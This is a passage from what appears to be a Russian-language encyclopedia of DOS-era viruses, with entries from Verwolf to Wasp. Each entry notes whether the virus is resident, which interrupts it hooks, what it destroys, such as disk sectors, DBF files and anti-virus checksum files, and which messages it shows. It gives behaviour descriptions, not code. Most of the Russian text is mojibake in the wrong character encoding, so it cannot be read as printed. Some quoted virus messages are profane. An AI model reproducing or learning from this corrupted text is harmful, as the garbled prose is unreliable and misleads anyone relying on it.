ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ
ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛÛ
ÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
ÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛ ÛÛ ÛÛ ÛÛ
Ñîäåðæèò òàêæå ñòðîêè "Veronika" è "Veronika P.".
Verwolf.3502
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Îñòàâëÿåò â ïàìÿòè, ïî àäðåñó 0040:0054h
ðåçèäåíòíûé êîä, ñïîñîáíûé "çàâåñèòü" ñèñòåìó ïðè ñòàðòå íåêîòîðûõ
ïðîãðàìì. Ñîäåðæèò òåêñò "My name is VERWOLF1 !".
Vet.1377
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò COM è EXE-ôàéëû, ïåðåâîäÿ èõ â
ôîðìàò EXE-ôàéëà. Ïðè÷åì EXE-ôàéëû çàðàæàåò ïî íåñòàíäàðòíîé ñõåìå:
çàïèñûâàåò â íà÷àëî ôàéëà ñâîé êîä, ñî ñâîèì EXE-çàãîëîâêîì, ïîòîì
çàïèñûâàåò ïðîãðàììíûé êîä ôàéëà-æåðòâû, ïîñëå êîòîðîãî çàïèñûâàåò
òàáëèöó ïåðåìåùàåìûõ ñèìâîëîâ (relocation table). Òàêèì îáðàçîì, ïðè
ëå÷åíèè òàêèõ EXE-ôàéëîâ, èõ âîññòàíîâëåíèå â îðèãèíàëüíîå ñîñòîÿíèå,
ïðàêòè÷åñêè, íå ïðåäîñòàâëÿåòñÿ âîçìîæíûì. Íî âîññòàíîâëåííûé EXE-ôàéë,
â áîëüøèíñòâå ñëó÷àåâ, äîëæåí îêàçàòüñÿ ðàáîòîñïîñîáíûì. Ïðè ñòàðòå
ïðîãðàììû, ñîäåðæàùåé â ñâîåì èìåíè ñëîâîñî÷åòàíèå "fico", âèðóñ ÷èòàåò
10 ïåðâûõ ñåêòîðîâ æåñòêîãî äèñêà â ïàìÿòü, â îáëàñòü ïàðàìåòðîâ
çàãðóçêè äàííîé ïðîãðàììû (ES:BX) è âûâîäèò òåêñò "Æàäíîñòü ïîãóáèò
êîìïàíèþ Ôèêî !". Ñîäåðæèò òåêñòîâóþ ñòðîêó "VET!".
VICE - âèðóñû
VICE (Virogen's Irregular Code Engine) - ïîëèìîðôíûé ãåíåðàòîð âèðóñíûõ
øèôðîâùèêîâ è ðàñøèôðîâùèêîâ. Ñóùåñòâóþò íåñêîëüêî âåðñèé ãåíåðàòîðà.
Îíè ñîäåðæàò òåêñòîâûå ñòðîêè:
[VICE v0.1ñ, by ûirogen]
{VICE v0.2ñ, by ûirogen [NuKE]}
{ViCE v0.3ñ, by ûirogen [NuKE]}
[ûiCE v0.5, by ûirogen]
VICE.Code
Î÷åíü îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óäàëÿåò ôàéëû, óïàêîâàííûå
àðõèâàòîðàìè ARJ è ZIP, à òàêæå ôàéëû, íà÷èíàþùèåñÿ íà -V, MS, CP. Íå
çàðàæàåò ôàéëû, èìåíà êîòîðûõ îêàí÷èâàþòñÿ íà ND, AN, AV, OF, NU.
Ñîäåðæèò òåêñò "CodeJournal by ûirogen [NuKE]".
VICE.One13th
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óíè÷òîæàåò ôàéëû ANTI-VIR.DAT,
CHKLIST.MS, CHKLIST.CPS, à òàêæå íåêîòîðûå ôàéëû àíòèâèðóñíîé ñèñòåìû
InVircible. Èìååò ñòðîêó "One/Thirteenth, coded by ûirogen [NuKE]".
Victim.600
 ÷åòâåðã ïðèáàâëÿåò ê çíà÷åíèþ ñèñòåìíîãî âðåìåíè 100 ëåò. Ñîäåðæèò
òåêñò "Victim of Galeocerdo cuvieri".
Vienna.based - âèðóñû
Äàííûå âèðóñû íàïèñàíû íà áàçå èñõîäíûõ òåêñòîâ ïåðâîãî çíàìåíèòîãî
âèðóñà Vienna.648.
Vienna.458
Ñîäåðæèò òåêñò "DUSHANBE M&A!".
Vienna.462
Ñîäåðæèò òåêñò "Angel".
Vienna.481
Èíîãäà ïûòàåòñÿ îòôîðìàòèðîâàòü 3 äîðîæêó æåñòêîãî äèñêà.
Vienna.483
Ñîäåðæèò ñòðîêó "Kiev 1990".
Vienna.502
14 ÿíâàðÿ ïûòàåòñÿ îòôîðìàòèðîâàòü 3 äîðîæêó æåñòêîãî äèñêà. Ñîäåðæèò
òåêñòû "/mw soft/93.3.15/norilsk/", "Wvt Zybex".
Vienna.547
Ñîäåðæèò ñòðîêó "IBM".
Vienna.625
8 èþíÿ âûâîäèò íà ýêðàí ñîîáùåíèå "Greetings from Ivan".
Vienna.660
Èíîãäà âûâîäèò òåêñò "How long since you have cleaning? You have a
fleas.".
Vienna.776
Èíîãäà âûâîäèò òåêñò:
ß, êàæåòñÿ, ïîäõâàòèëà êàêóþ-òî çàðàçó...
Ñðî÷íî çâîíèòå Äìèòðèþ Íèêîëàåâè÷ó Ëîçèíñêîìó
ïî òåëåôîíó 292-40-76 (Ìîñêâà) è ïðèîáðåòèòå
ÏÐÎÃÐÀÌÌÓ AIDSTEST !!!
Vienna.998
Çàøèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñò "The DIRTY COMMY said ..".
Vienna.1239
Ïûòàåòñÿ óíè÷òîæèòü 3 ïåðâûõ ñåêòîðà öèëèíäðà 0 ãîëîâêè 1 ïåðâîãî
æåñòêîãî äèñêà.
Vienna.Twer
Ñîäåðæèò ñòðîêó "Twer 1991".
Viking.59
 íàñòîÿùåå âðåìÿ äàííûé âèðóñ ÿâëÿåòñÿ ìèðîâûì ðåêîðäñìåíîì ñðåäè
ñàìûõ ìàëåíüêèõ ðåçèäåíòíûõ ôàéëîâûõ âèðóñîâ, ñîõðàíÿþùèõ
ðàáîòîñïîñîáíîñòü èíôèöèðîâàííûõ ïðîãðàìì. ßâëÿåòñÿ óñîâåðøåíñòâîâàííîé
ìîäèôèêàöèåé âèðóñîâ Dinky, íî ñ èñïîëüçîâàíèåì ïàðû íåïëîõèõ ïðèåìîâ.
Viking.Mixtura
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Íå çàðàæàåò ôàéëû, íà÷èíàþùèåñÿ íà -V, AI,
AD, M. Ñîäåðæèò òåêñò "Crypted Here->", ïîñëå êîòîðîãî, âèäèìî, èäåò
çàøèôðîâàííûé òåêñò, à òàêæå:
ViKing-Mixtura,CopyLeft (L) 1993 by ViKing.
ViKing is The Real King of Viruses' Kingdom.
Villy
Íåîïàñíûé çàãðóçî÷íûé âèðóñ. Èìååò òåêñò "Rift Villy, boot ver. 2.0".
Vinchuca.925
Î÷åíü îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. 3 èþëÿ ïûòàåòñÿ óíè÷òîæèòü
ñîäåðæèìîå 17 ñåêòîðîâ 4 ãîëîâîê íà âñåõ äîðîæêàõ æåñòêîãî äèñêà. 3
÷èñëà ëþáîãî ìåñÿöà âûâîäèò íà ýêðàí òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Virus ViNCHuCa V1.0 1993. º
º Creado por MURDOCK. º
º Buenos Aires ,Argentina. º
º º
º Su PC tiene Mal de Chagas....jajaja... º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ñîäåðæèò òàêæå ñòðîêó "Saludos para SaTaNiC BRaiN y Patoruzu".
Vinnitsa.1046
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Ðàçðóøàåò DBF-ôàéëû, çàïèñûâàÿ â íèõ
ïåðâûì áàéòîì - áàéò 6.
Vinnitsa.1207
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà çàïèñûâàåò èíôîðìàöèþ èç
âèäåîáóôåðà â ñëó÷àéíûå ñåêòîðà äèñêà ìåòîäîì äëèííîé çàïèñè (f.0Bh
INT 13h). Ïîñëå òàêîé çàïèñè äàííûå ñåêòîðà îáû÷íûì ñïîñîáîì (f.02 INT
13h) ïðî÷èòàòü íå óäàñòñÿ. Âèðóñ ïåðåõâàòûâàåò INT 10h, 16h, 21h. Âèðóñ
çàìåäëÿåò âûâîä íà ýêðàí ÷åðåç INT 10h. Óñòðàèâàåò íåêîòîðûå "øóòêè" ñ
êëàâèàòóðîé. Ñîäåðæèò òåêñò "Vinnitsa (c)1994 by Eddie Murphy".
Vinnitsa.1620, 1658
Î÷åíü îïàñíûå ðåçèäåíòíûå çàøèôðîâàííûå âèðóñû. Èíîãäà óíè÷òîæàþò
èíôîðìàöèþ â ñëó÷àéíûõ ñåêòîðàõ äèñêà, ðàçðóøàþò DBF-ôàéëû, çàïèñûâàþò
ñëó÷àéíûå ÷èñëà â ñëó÷àéíûå ïîðòû. Ñîäåðæàò òåêñò "Vinnitsa 1992 year
Hacker all country, united!!!".
VirCheck.2161, 2170
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. ÷åòâåðã 12-ãî âûâîäÿò òåêñò:
ÕÍÍÍÍÍÍÍÍÍÍÍÍ VirCheck V1.2 (C)1991 ÍÍÍÍÍÍÍÍÍÍ͸
¦ Be aware of those worms out there, violating ¦
¦ your machine on Friday 13th - it's tomorrow! ¦
¦ ¦
¦ Special thanks to Ross M. Greenberg, ¦
¦ Patricia M. Hoffmann and John McAfee ¦
ÔÍÍÍÍÍÍÍÍ Press any key to continue... ÍÍÍÍÍÍÍ;
Virgin.281
Ñîäåðæèò ñòðîêó "VirVirgin".
Virogen.ASeXual
Îïàñíûé ïîëèìîðôíûé âèðóñ. Çàðàæàåò COM-ôàéëû ñòàíäàðòíûì ñïîñîáîì,
çàïèñûâàÿ ñâîé êîä â êîíåö ôàéëà, à EXE-ôàéëû çàðàæàåò, êàê
âèðóñ-ñïóòíèê, ñîçäàâàÿ ôàéë ñ ðàñøèðåíèåì COM, íî ñ òàêèì æå èìåíåì,
êàê è ó EXE-ôàéëà. Óäàëÿåò ôàéëû CHKLIST.* ANTI-VIR.*. 2 ÷èñëà êàæäîãî
ìåñÿöà âûâîäèò íà ýêðàí òåêñò:
ASeXual Virus V0.99 - Your computer has been artificially Phucked!
Ñîäåðæèò òåêñò "(c)1993 - Virogen".
Virogen.BombTrack
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óäàëÿåò ôàéëû CHKLIST.MS è
CHKLIST.CPS. Ìîæåò óäàëèòü âñå ôàéëû â òåêóùåì äèðåêòîðèè è ñîçäàòü
äèðåêòîðèè NEVERýne. è BOMBTRA.CK. Ñîäåðæèò ñòðîêó "BOMBTRACK v1.00 -
Coded by NEVERýne (BELGiUM)".
Virogen.Offspring.711
14 ÷èñëà âûâîäèò íà ýêðàí òåêñò:
(c)1993 VG Enterprises
* Congratulations, You have recieved the privelge of being infected by the *
* Offspring I v0.05. *
Virogen.Offspring.1130
Íåîïàñíûé ïîëèìîðôíûé âèðóñ. Äëÿ EXE-ôàéëîâ - âèðóñ-ñïóòíèê. 9 ÷èñëà
âûâîäèò òåêñò "OFFSPRING V0.81", ïîñëå ÷åãî íà÷èíàåò èçäàâàòü çâóêîâîé
ñèãíàë è ìèãàòü ëàìïî÷êàìè íà êëàâèàòóðå. Ñîäåðæèò òàêæå åùå îäíó
ñòðîêó "(c)1993 negoriV".
Virogen.Offspring.1294
Ïîëèìîðôíûé íåîïàñíûé âèðóñ. 14 ÷èñëà âûâîäèò íà ýêðàí òåêñò:
(c)1993 negoriV
* Thank you for providing me and my offspring with a safe place to live *
* Offspring I v0.07. *
Virogen.Offspring.1555
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Äëÿ EXE-ôàéëîâ - âèðóñ-ñïóòíèê.
Óäàëÿåò ôàéëû CHKLIST.*, ANTI-VIR.DAT. Ïî 9 ÷èñëàì ìåñÿöà âûâîäèò òåêñò
"Oßßspring Virus V0.89". Ñîäåðæèò òåêñò "GA(c) ûirogen".
Virogen.PinWorm
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Óäàëÿåò ôàéëû CHKLIST.CPS è
CHKLIST.MS. 1 ÷èñëà ëþáîãî ìåñÿöà ñîçäàåò äèðåêòîðèè PIÿWùrM.ûg!, à â
íåì ñîçäàåò 13 ôàéëîâ:
I hope y
ou have
enjoyed
your inf
estation
by the
mighty P
inworm p
arasite·
········
Fuck you
all!
-ûirogen
Ñîäåðæèò ñòðîêó "PIÿWùrM v1.00 - Coded by ûirogen in April 1994".
Viros.429
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ðàçìåùàåò ñâîþ ðåçèäåíòíóþ êîïèþ ïî àäðåñó
6800:0000. Âûâîäèò ñîîáùåíèå:
ÚÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ VIROs v1.1 ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Virus90.857, Virus101.2560
Íåðåçèäåíòíûå âèðóñû. Virus101.2560 - øèôðîâàííûé, îïàñíûé âèðóñ.
Âûâîäÿò íà ýêðàí ñîîáùåíèÿ:
Virus90.857 - Infected!
Virus101.2560 - This file has been safely infected by
VIRUS101 - the safe, educational virus utility.
This copy furnished to John McAfee.
Virus90.857 ïåðèîäè÷åñêè ñäâèãàåò ñèìâîëû íà ýêðàíå è "ïåðåãðóæàåò"
ñèñòåìó. Virus101.2560 â çàãðóçî÷íûõ ñåêòîðàõ äèñêîâ ïðîèçâîäèò çàìåíó
òåêñòîâîé ñòðîêè "Non system disk or disk error!" íà âûøåïðèâåäåííûé
òåêñò.
VirusConstructor.based - âèðóñû
Äàííûå âèðóñû ñêîíñòðóèðîâàíû ñ ïîìîùüþ âèðóñíûõ êîíñòðóêòîðîâ IVP,
PS-MPC, G2 èëè VCL. Âèðóñíûå êîíñòðóêòîðû - ýòî ïðîãðàììû, ñïîñîáíûå
ñîçäàâàòü èñõîäíûå òåêñòû, îáúåêòíûå è èñïîëíÿåìûå âèðóñíûå ìîäóëè.
Ñóùåñòâóåò âîçìîæíîñòü çàäàíèÿ ðàçëè÷íûõ âàðèàíòîâ è òèïîâ âèðóñîâ â
ôàéëàõ êîíôèãóðàöèè êîíñòðóêòîðîâ èëè íåïîñðåäñòâåííî èç ìåíþ ïðîãðàììû
(VCL). Âèðóñíûå êîíñòðóêòîðû ïîçâîëÿþò ñîçäàâàòü ðåçèäåíòíûå èëè
íåðåçèäåíòíûå âèðóñû, çàðàæàþùèå COM, EXE, èëè COM/EXE-ôàéëû,
øèôðîâàííûå èëè íåøèôðîâàííûå, çàìåùàþùèå ïðîãðàììíûé êîä (overwriting)
èëè âèðóñû-ñïóòíèêè (companion). À òàêæå ïîçâîëÿþò çàäàâàòü íàëè÷èå â
âèðóñàõ âñåâîçìîæíûõ òåêñòîâûõ ñòðîê, âèäåîýôôåêòîâ è äåñòðóêòèâíûõ
ôóíêöèé.
Viv.513, Viv.524, Viv.771
Ñîäåðæàò â ñâîåì òåëå ñëîâî "VIV". Viv.771 ïîñëå 4097 âûçîâîâ INT 21h
çàòèðàåò òàáëèöó ïðåðûâàíèé íóëÿìè.
Vlad
Íåîïàñíûé Boot-âèðóñ. Çàïèñûâàåò ñâîé êîä â flash BIOS, åñëè îí èìååòñÿ
íà êîìïüþòåðå.
Vlad.Antipode
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
"TBSCAN.EXE[Antipode 1.0] by Automag/VLAD".
Vlad.Daddy
Îïàñíûé ðåçèäåíòíûé âèðóñ. Óäàëÿåò ôàéëû ANTI-VIR.DAT, MSAV.CHK,
CHKLIST.CPS, CHKLIST.MS. Ñîäåðæèò òåêñò "[Incest Daddy] by Qark/VLAD".
Vlad.Fame
Íåîïàñíûé ôàéëîâî-çàãðóçî÷íûé âèðóñ. Ñîäåðæèò òåêñò "FAME by Quantum /
VLAD".
Vlad.Hemlock
Íåîïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé ñòåëñ-âèðóñ.
Çàðàæàåò MBR æåñòêîãî äèñêà, Boot-ñåêòîðà ôëîïïè-äèñêîâ, COM, EXE è
SYS-ôàéëû. Ïåðåõâàòûâàåò INT 09, 13h, 21h. "Ïåðåæèâàåò" ïåðåçàãðóçêó
ñèñòåìû ïðè íàæàòèè íà Ctrl-Alt-Del. Ïðè ñòàðòå ïðîãðàììû TBSCAN âèðóñ
ïîäñòàâëÿåò â êîìàíäíóþ ñòðîêó ïðîãðàììû ' co nm'0Dh. Ïðè ñòàðòå
ïðîãðàììû WIN â êîìàíäíóþ ñòðîêó ïîäñòàâëÿþòñÿ çíà÷åíèÿ ' /d:f',0Dh
(16-áèòîâûé äîñòóï ê äèñêó). Ïðè ñòàðòå ïðîãðàìì CHKDSK, PKZIP, ARJ,
NDD, SCANDISK, LHA âèðóñ "âûêëþ÷àåò" ñâîé ñòåëñ-ðåæèì. Ïðè çàãðóçêå ñ
èíôèöèðîâàííîãî MBR âèðóñ ïåðåõâàòûâàåò INT 09, 13h, êîïèðóåò òàáëèöó
âåêòîðîâ ïðåðûâàíèé â ñâîé áóôåð, è çàòåì ïûòàåòñÿ îïðåäåëèòü â ïàìÿòè
íàëè÷èå äðàéâåðà DOSDATA.SYS èç êîìïëåêòà QEMM. Åñëè äàííûé äðàéâåð
áóäåò íàéäåí, òî âèðóñ ïûòàåòñÿ îïðåäåëèòü çàïóñê ôàéëà AUTOEXEC.BAT
èëè ëþáîé EXE-ïðîãðàììû, ïîñëå ÷åãî ïåðåõâàòûâàåò INT 21h. Åñëè æå
äðàéâåð DOSDATA.SYS íå íàéäåí âèðóñîì, òî ïåðåõâàò INT 21h
îñóùåñòâëÿåòñÿ ïîñëå ÷òåíèÿ 10 çàãîëîâêîâ EXE-ôàéëîâ ÷åðåç INT 13h. Ïðè
íàæàòèè íà Ctrl-Alt-Del âèðóñ îïðåäåëÿåò òèï ïðîöåññîðà, à òàêæå äëÿ
ïðîöåññîðîâ 286+ íàõîæäåíèå èõ â çàùèùåííîì ðåæèìå. Åñëè ïðîöåññîð 286+
ðàáîòàåò â çàùèùåííîì ðåæèìå, òî ïåðåçàãðóçêà ñèñòåìû èãíîðèðóåòñÿ. Â
ïðîòèâíîì ñëó÷àå, à òàêæå äëÿ ïðîöåññîðîâ íèæå 286 - â îáëàñòü òàáëèöû
âåêòîðîâ ïðåðûâàíèé êîïèðóåòñÿ ñòàðàÿ òàáëèöà èç áóôåðà âèðóñà, ïîñëå
÷åãî ïðîèçâîäèòñÿ âûçîâ INT 19h. Âèðóñ ñîäåðæèò òåêñò "Hemlock by
[qark/VLAD]".
Vlad.Mummy
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ-ñïóòíèê. Ñîäåðæèò òåêñò
"[Mummy Incest] by VLAD of Brisbane. Breed baby breed!".
Vlad.Lapis
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Âíåäðÿåò 445 áàéò ñâîåãî êîäà â îáëàñòü
ñòàðòîâûõ áàéò EXE-ïðîãðàììû, ïåðåíåñÿ èõ â êîíåö ôàéëà. Ñîäåðæèò òåêñò
"[Lapis-Lazuli], Rhince/VLAD".
Vlad.Sister
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñò
"[Incest Sister] by VLAD - Brisbane, OZ".
Vodka.551, 560
Íåîïàñíûå (Vodka.551 - îïàñåí) ðåçèäåíòíûå âèðóñû. Â ìàå Vodka.551
çàïèñûâàåò â íà÷àëî çàïóñêàåìûõ COM-ôàéëîâ êîä, êîòîðûé âûâîäèò òåêñò:
COM_ÄÈÁÈ öåíòð ã.ÕÀÐÜÊÎÂ
òåë 03
Vodka.560 ìîæåò âûâåñòè íà ýêðàí òåêñò "Ïèâî,Âîäêó ïèòü - çäîðîâüþ
âðåäèòü!? (Y/N)" è îæèäàòü íàæàòèÿ íà êëàâèøè "Y" èëè "N". Ñîäåðæèò
òåêñò "(copyleft) ÄÈÁÈËÈÇÀÒÎÐ ver. 1.2".
Vojager.512
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "Vojager".
Voronezh.650
Èíîãäà âûâîäèò íà ýêðàí ñîîáùåíèå "Video mode 80x25 not supported".
Èìååò òàêæå ñòðîêó "16.01.91, v1.00, Õèìèê & Ñëîí".
Voronezh.1536 (1-3)
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ïðè ïå÷àòè íà ïðèíòåðå èíîãäà èçìåíÿþò
íåêîòîðûå ñëîâà íà íåöåíçóðíûå.
Voronezh.1584
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïîðòèò DBF-ôàéëû.
Voronezh.1600 (1,2)
Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæàò ñòðîêó "Voronezh,1990 2.01".
Vpk.1430
Îïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" INT 10h, 21h, 4Ah.
Óñòàíàâëèâàåò 2 ðåçèäåíòíûå êîïèè: îäíó â îáëàñòü âèäåîïàìÿòè ïî àäðåñó
B800:0FA0h "íà" INT 10h è 21h,äðóãóþ - â âåðõíèå àäðåñà ïàìÿòè "íà" INT
4Ah. Ïåðèîäè÷åñêè êîïèðóåò êîä èç âòîðîé êîïèè â âèäåîïàìÿòü. Èíîãäà
ïðè âûâîäå íà ýêðàí çàìåíÿåò ðóññêèå áóêâû íà ëàòèíñêèå. Ìîæåò çàïèñàòü
â MBR ïåðâîãî æåñòêîãî äèñêà òðîÿíñêèé êîä, êîòîðûé ïîñëå íåñêîëüêèõ
ïåðåçàãðóçîê "çàâåøèâàåò" ñèñòåìó. Ìîæåò âûâåñòè òåêñò "<< Russian
killer! >>". Òàêæå ñîäåðæèò òåêñò "Ïðèâåò Ëîçèíñêîìó îò ÂÏÊ !".
VS.612
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò:
VS-01. (C) 1993, ViruSystems inc.
VS
VS.2790
Íåîïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. Åñëè â òå÷åíèå 6 ìèíóò íå áûëî
íàæàòèé íà êëàâèøè, âèðóñ èñïîëíÿåò ãèìí ÑÑÑÐ. Ñîäåðæèò òåêñò:
VS-061-"STEALTHIE". (C) 1993, ViruSystems inc.
VS
VS.3900, 4000
Íåîïàñíûå ðåçèäåíòíûå ïîëèìîðôíûå ñòåëñ-âèðóñû. Ïðè îòñóòñòâèè ââîäà ñ
êëàâèàòóðû â òå÷åíèå 15 ìèíóò âûâîäÿò îäíó èç 4 ìåëîäèé. Ñîäåðæàò
òåêñòû:
VS.3900 -
VS-071-"GHOST". (C) 1993, ViruSystems inc.
High performance music mutant virus, enhanced version 7.1.
Shareware.
***MAKERS OF VIRUSES OF THE WORLD, UNITE !!!***VS
VS.4000 -
VS-072-"GHOST". (C) 1993, ViruSystems inc.
High performance mutant virus, enhanced version 7.2.
Special thanks to E.Kaspersky!
*** MAKERS OF VIRUSES OF THE WORLD, UNITE!!! ***VS
Vs&W.507
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò ñòðîêó "MadMax". Ïðèíàäëåæèò ê
íàñëåäèþ Õèæíÿêà.
Vtb
Îïàñíûé boot-âèðóñ. Îðèãèíàëüíûé MBR æåñòêîãî äèñêà ïðè çàðàæåíèè íå
ñîõðàíÿåò.
Vxt.550
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ.Ñîäåðæèò òåêñò "* [VXT-1 Virus]
(c) 1996 SMSoft *".
Wadimka.481
Ñîäåðæèò òåêñò "Wadimka v2.1 (c)Copyright 1996 Wadim in Moscow".
Walker.3846
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 16h, 21h. Ïåðèîäè÷åñêè
âûâîäèò íà ýêðàí â òåêñòîâîì ðåæèìå ñèìïàòè÷íîãî øàãàþùåãî ÷åëîâå÷êà.
Ñõåìàòè÷íî åãî ìîæíî èçîáðàçèòü ñëåäóþùèì îáðàçîì:
ÜÜÜ
ÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜ
ÜÜÜÜÜÜ
ÜÜÜÜÜÜ
ÜÜ ÜÜÜÜ
ÜÜ ÜÜÜÜÜÜÜ
ÜÜ ÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜ ÜÜÜÜ
ÜÜÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜÜÜÜÜÜ
ÜÜ ÜÜÜÜ
ÜÜÜÜÜÜÜÜ ÜÜÜ
ÜÜÜÜÜÜÜ ÜÜ ÜÜÜ
ÜÜÜÜÜÜÜÜÜ
ÜÜÜÜÜÜÜ
Òàêæå âèðóñ ñîäåðæèò ñòðîêó "WALKER V1.00 - This absolutely harmless
and selfdestructive program is written by UJHPTTLZ in the city of
Istanbul, 1992".
Wally.1029
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò óíè÷òîæèòü ñîäåðæèìîå ïåðâîãî
æåñòêîãî äèñêà è âûâåñòè òåêñò "Virus Wally versao programa.Tente me
encontrar.".
Waria.479
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà ïûòàåòñÿ âûâåñòè íà ýêðàí òåêñò
"byWARIA!v1.0", íî ó âèðóñà ýòî íå ïîëó÷àåòñÿ.
Warlock.666
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Çàðàæàåò ôàéëû ïîñëå 15.00.
Ñîäåðæèò ñòðîêó "WARLOCK".
Warlock.1672, 1802, 1817
Îïàñíûå ðåçèäåíòíûå âèðóñû.  ôàéëû, ñîäåðæàùèå â íà÷àëå áàéò ñî
çíà÷åíèåì 3 (DBF-ôàéëû) èëè 0 (Warlock.1672), çàïèñûâàþò 32 áàéòà C3h
èëè 0. Warlock.1672 ñîäåðæèò òåêñò "WARLOCK", à Warlock.1817 - "Revenge
of WARLOCK!".
Warlock.2879
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò ôàéëû, ñîäåðæàùèå áàéò 3 â
íà÷àëå (DBF-ôàéëû), à òàêæå âñå ôàéëû, êðîìå EXE, ïîñëå 30 çàðàæåíèé,
çàïèñûâàÿ â èõ íà÷àëî 32 áàéòà. Ñîäåðæèò òåêñò "WARLOCK".
Warrior.1024
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óñòàíàâëèâàåò â âåðõíèå àäðåñà ïàìÿòè ñâîþ
ðåçèäåíòíóþ êîïèþ è "ïåðåõâàòûâàåò" INT 21h. Ïðè âûçîâå ôóíêöèè çàïèñè
â ôàéë (f.40h Int 21h) ðåçèäåíòíàÿ êîïèÿ âèðóñà óñòàíàâëèâàåò àäðåñ
áóôåðà çàïèñè íà ñâîé òåêñò:
... and justice for all! (US constitution)
Dream Over ... And the alone warrior is warrior.The powerfull WARRIOR!
Wart.559
Îïàñíûé ðåçèäåíòíûé âèðóñ. "Ïåðåõâàòûâàåò" INT 21h, 28h. Ìîæåò
óíè÷òîæèòü 3 ïåðâûõ ñåêòîðà äèñêà A: è è îòêëþ÷èòü íàëè÷èå äèñêîâîäîâ â
CMOS-ïàìÿòè.
Wasp.1312
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà ïðîâåðÿåò âåðñèþ MS-DOS.Åñëè âåðñèÿ
MS-DOS íå ÿâëÿåòñÿ âåðñèåé 6.22, òî âèðóñ âûâîäèò òåêñò "Incorrect DOS
version", â ïðîòèâíîì ñëó÷àå âèðóñ çàïèñûâàåò â ôàéë C:\IO.SYS âìåñòî
ñòðîêè "Starting" (Starting MS-DOS) - ñòðîêó "Fucking", ïîñëå ÷åãî
âûâîäèò òåêñò "Insufficient memory". Ïåðèîäè÷åñêè ïûòàåòñÿ çàïèñàòü â
çàãðóçî÷íûé ñåêòîð äèñêà A: ïî ñìåùåíèþ 1A0h òåêñò:
I'm W.A.S.P.
Fuckyourself !
Ýòîò æå òåêñò âèðóñ âûâîäèò íà ýêðàí â ÷åòâåðã. Èíîãäà óñòàíàâëèâàåò â
ïàìÿòü ðåçèäåíòíûé êîä "íà INT 8", êîòîðûé "òðÿñåò" ýêðàí.  íà÷àëå
ñîäåðæèò òåêñò "W.A.S.P.".
Wasp.1655
